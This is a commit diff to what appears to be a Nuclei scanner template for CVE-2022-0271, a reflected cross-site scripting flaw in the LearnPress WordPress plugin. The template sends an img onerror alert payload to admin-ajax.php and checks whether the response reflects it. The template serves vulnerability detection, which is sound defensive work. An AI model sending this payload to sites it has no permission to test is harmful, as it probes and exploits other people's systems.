Update CVE-2022-0271.yaml

cves/2022/CVE-2022-0271.yaml

@@ -5,25 +5,28 @@ info:
   author: Akincibor
   severity: medium
   description: The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
-  reference: https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
-  tags: xss
+  reference:
+    - https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
+  tags: xss,wp,wp-plugin,wordpress,cve,cve2022,learnpress
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%3Dx%20onerror=alert(/XSS/)%3E'
+      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'
+
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
-
       - type: word
-        words:
-          - "<img src=x onerror=alert(/XSS/)>"
         part: body
+        words:
+          - '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'
 
       - type: word
         words:
           - "text/html"
         part: header
+
+      - type: status
+        status:
+          - 200